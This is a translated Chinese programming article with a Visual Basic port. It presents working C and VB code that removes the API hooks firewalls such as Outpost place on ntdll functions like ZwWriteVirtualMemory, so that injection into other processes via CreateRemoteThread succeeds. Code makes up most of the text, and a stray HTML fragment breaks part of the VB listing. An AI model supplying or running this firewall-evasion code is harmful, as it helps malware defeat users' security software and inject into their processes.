=========================
原文
=========================
对付API-splicing的一种简单方法 [PSI_H] By: greatdong
对于拦截API函数通常使用一种叫splicing的方法。此法的本质就是用JMP指令替换函数起始处的5个字节,将控制权传递给拦截程序。这种技术广泛应用于个人防火墙中,以防木马程序将自己的代码注入到其它可访问网络进程的地址空间中。然而,木马程序作者们可以采用不同的技术来穿透防火墙。比如说很流行的防火墙Agnitum Outpost的第三版就可以轻松绕过(详见MS-REM的文章《使用inject绕过防火墙》)。然而设计者们已经对自己的劳动结晶施以了巫术,Outpost 4.0已经能可靠地(?)对付这种方法了。但是如果这种保护绕不过去,那为什么不试着把它拿下呢?
首先脑子里想到的是,使用LoadLibrary/GetProcAddress函数来获取被拦截函数的原始代码,之后用它在内存里替换掉以前的代码,这样就摘掉了对函数的HOOK。因为调用LoadLibrary将返回指向已加载模块的指针,所以必须将文件拷贝并加载此拷贝。下面的代码去除了对ZwWriteVirtualMemory函数的拦截:
// 将NTDLL.DLL文件拷入TEMP文件夹
char szTemp[MAX_PATH];
GetTempPath(MAX_PATH, szTemp);
strcat(szTemp, "ntdll2.dll");
CopyFile("C:\Windows\System32\ntdll.dll", szTemp, TRUE);
// 取得指向原始函数的指针
HMODULE hMod = LoadLibrary(szTemp);
void* ptr_orig = GetProcAddress(hMod, "ZwWriteVirtualMemory");
// 取得指向当前函数的指针
void* ptr_new = GetProcAddress (LoadLibrary("ntdll.dll"), "ZwWriteVirtualMemory");
// 设置内存访问权限
DWORD dwOldProtect;
VirtualProtect(ptr_new, 10, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 替换函数的前10个(为保险起见)字节
memcpy(ptr_new, ptr_orig, 10);
FreeLibrary(hMod);
DeleteFile(szTemp);
此后,为了在其它进程地址空间中执行自己的代码,可以使用经典的CreateRemoteThread。顺便说一句,Outpost对这个函数也进行了拦截,但是,在别的进程里创建线程是绝对可以的。
尽管这里给出的摘除HOOK的方法完全奏效,但需要加载新的dll模块,这可能会引起防火墙的暴怒。我所认为的更为优雅的办法就是只需从文件中读取所需要的字节。下面这个函数的代码恢复了API的原始的起始部分。
bool RemoveFWHook(char* szDllPath, char* szFuncName) // szDllPath为DLL的完整路径 !
{
// 取得指向函数的指针
HMODULE lpBase = LoadLibrary(szDllPath);
LPVOID lpFunc = GetProcAddress(lpBase, szFuncName);
if(!lpFunc)
return false;
// 取得RVA
DWORD dwRVA = (DWORD)lpFunc-(DWORD)lpBase;
// 将文件映射入内存
HANDLE hFile = CreateFile(szDllPath,GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL);
if(INVALID_HANDLE_VALUE == hFile)
return false;
DWORD dwSize = GetFileSize(hFile, NULL);
HANDLE hMapFile = CreateFileMapping(hFile, NULL, PAGE_READONLY|SEC_IMAGE, 0, dwSize, NULL);
LPVOID lpBaseMap = MapViewOfFile(hMapFile, FILE_MAP_READ, 0, 0, dwSize);
// 指向当前函数的指针
LPVOID lpRealFunc = (LPVOID)((DWORD)lpBaseMap+dwRVA);
// 修改访问权限并拷贝
DWORD dwOldProtect;
BOOL bRes=true;
if(VirtualProtect(lpFunc, 10, PAGE_EXECUTE_READWRITE, &dwOldProtect))
{
memcpy(lpFunc, lpRealFunc, 10);
}else{
bRes=false;
}
UnmapViewOfFile(lpBaseMap);
CloseHandle(hMapFile);
CloseHandle(hFile);
return bRes;
}
注意CreateFileMapping函数的调用,参数SEC_IMAGE指明了文件将作为可执行文件映射入内存,这就使我们能够找到PE首部并计算文件偏移量。然而,以上示例是有缺陷的——用户可以禁止读取系统文件,除此之外,软件设计者还可以patch磁盘文件(尽管可能性很小)。对付的方法还是有的,可以基址作为标志函数起始的label。例如,在所有我研究过的Windows XP(SP0-SP2、RU和MUI)里,ZwWriteVirtualMemory起始处都是字节:
B8 15 01 00 00
其对应的汇编助记符为
mov eax, 00000115
为了识别label,无需在磁盘文件上做手脚,因为ntdll.dll在distribution里是不设防的。当然使用静态label并不能保证相容性,但这是防范拦截的最好办法。
使用上面所讲的技术可以达到十分通用的效果——比如防范调试器。比如说,我们的应用程序从注册表读取lisense键值,而且我们不想此举被黑客监视。为了恢复函数的原始代码以处理注册表,我们将断点(opcode为0xCC)做掉。老实说,如果黑客在函数的尾部施此伎俩,而我们只恢复起始部分,这还真就不灵了。所以,最好一下恢复整个code section。
Anti-anti-splicing
要想对付类似的anti-splicing的方法,developers可以对ZwProtectVirtualMemory函数进行处理。拦截了这个函数就能控制对内存访问参数的修改,我们也就因此而不能向所需的地址里进行写入。然而,如果建立了前面提到的函数起始基址的话,还是有办法对付的。
[C] PSI_H 董岩(译) http://greatdong.blog.edu.cn
=============================================================================
以下部分是翻译成VB的源码
Private Declare Function VirtualProtect _
Lib "kernel32.dll" (ByRef lpAddress As Any, _
ByVal dwSize As Long, _
ByVal flNewProtect As Long, _
ByRef lpflOldProtect As Long) As Long
Private Declare Function MapViewOfFile _
Lib "kernel32.dll" (ByVal hFileMappingObject As Long, _
ByVal dwDesiredAccess As Long, _
ByVal dwFileOffsetHigh As Long, _
ByVal dwFileOffsetLow As Long, _
ByVal dwNumberOfBytesToMap As Long) As Long
Private Declare Sub CopyMemory _
Lib "kernel32.dll" _
Alias "RtlMoveMemory" (<
/font>ByRef Destination As Any, _
ByRef Source As Any, _
ByVal Length As Long)
Private Declare Function CloseHandle _
Lib "kernel32.dll" (ByVal hObject As Long) As Long
Private Declare Function UnmapViewOfFile _
Lib "kernel32.dll" (ByRef lpBaseAddress As Any) As Long
Private Declare Function GetProcAddress _
Lib "kernel32.dll" (ByVal hModule As Long, _
ByVal lpProcName As String) As Long
Private Declare Function LoadLibrary _
Lib "kernel32.dll" _
Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
Private Declare Function CreateFile _
Lib "kernel32.dll" _
Alias "CreateFileA" (ByVal lpFileName As String, _
ByVal dwDesiredAccess As Long, _
ByVal dwShareMode As Long, _
ByRef lpSecurityAttributes As Long, _
ByVal dwCreationDisposition As Long, _
ByVal dwFlagsAndAttributes As Long, _
ByVal hTemplateFile As Long) As Long
Private Declare Function CreateFileMapping _
Lib "kernel32.dll" _
Alias "CreateFileMappingA" (ByVal hFile As Long, _
ByRef lpFileMappigAttributes As Long, _
ByVal flProtect As Long, _
ByVal dwMaximumSizeHigh As Long, _
ByVal dwMaximumSizeLow As Long, _
ByVal lpName As String) As Long
Private Declare Function GetFileSize _
Lib "kernel32.dll" (ByVal hFile As Long, _
ByRef lpFileSizeHigh As Long) As Long
Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type
Private Const FILE_ATTRIBUTE_NORMAL As Long = &H80
Private Const SECTION_MAP_READ As Long = &H4
Private Const FILE_MAP_READ As Long = SECTION_MAP_READ
Private Const FILE_SHARE_READ As Long = &H1
Private Const GENERIC_READ As Long = &H80000000
Private Const OPEN_EXISTING As Long = 3
Private Const PAGE_EXECUTE_READWRITE As Long = &H40
Private Const PAGE_READONLY As Long = &H2
Private Const SEC_IMAGE As Long = &H1000000
Private Const
INVALID_HANDLE_VALUE As Long = -1
Private Declare Function OpenProcess _
Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, _
ByVal bInheritHandle As Long, _
ByVal dwProcessId As Long) As Long
Private Const PROCESS_ALL_ACCESS As Long = (&HFFF)
Public Function RemoveFWHook(szDllPath As String, _
szFuncName As String) As Boolean ' szDllPath为DLL的完整路径!
' 取得指向函数的指针
lpBase = LoadLibrary(szDllPath)
lpFunc = GetProcAddress(lpBase, szFuncName)
If lpFunc = 0 Then RemoveFWHook = False
' 取得RVA
dwRVA = lpFunc - lpBase
' 将文件映射入内存
hFile = CreateFile(szDllPath, GENERIC_READ, FILE_SHARE_READ, ByVal 0&, _
OPEN_EXISTING, 0, 0)
If hFile = INVALID_HANDLE_VALUE Then
RemoveFWHook = False
Exit Function
End If
dwSize = GetFileSize(hFile, 0)
hMapFile = CreateFileMapping(hFile, 0, PAGE_READONLY or SEC_IMAGE, 0, dwSize, _
vbNullString)
lpBaseMap = MapViewOfFile(hMapFile, FILE_MAP_READ, 0, 0, dwSize)
' 指向当前函数的指针
lpRealFunc = lpBaseMap + dwRVA
' 修改访问权限并拷贝
bRes = True
If (VirtualProtect(lpFunc, 10, PAGE_EXECUTE_READWRITE, dwOldProtect)) Then
CopyMemory lpFunc, lpRealFunc, 10
Else
bRes = False
End If
UnmapViewOfFile (lpBaseMap)
CloseHandle (hMapFile)
CloseHandle (hFile)
RemoveFWHook = bRes
End Function
这个函数的使用很简单,传一个 DLL 名字和一个函数名字即可。
注意,VB中的函数名不等于实际的函数名。一般实际函数名都会有 A 或者 W 后缀来区分 ANSI 和 Unicode 版本的 API。
例如:
Public Declare Function LoadLibrary _
Lib "kernel32.dll" _
Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
实际函数名在 Alias 关键字后面,也就是 LoadLibraryA。如果没有这个关键字,那说明使用的就是实际名字。
使用示例:
MessageBox 0, RemoveFWHook(Environ$("SystemRoot") & "\System32\user32.dll", "MessageBoxA"), "Hello!", MB_OK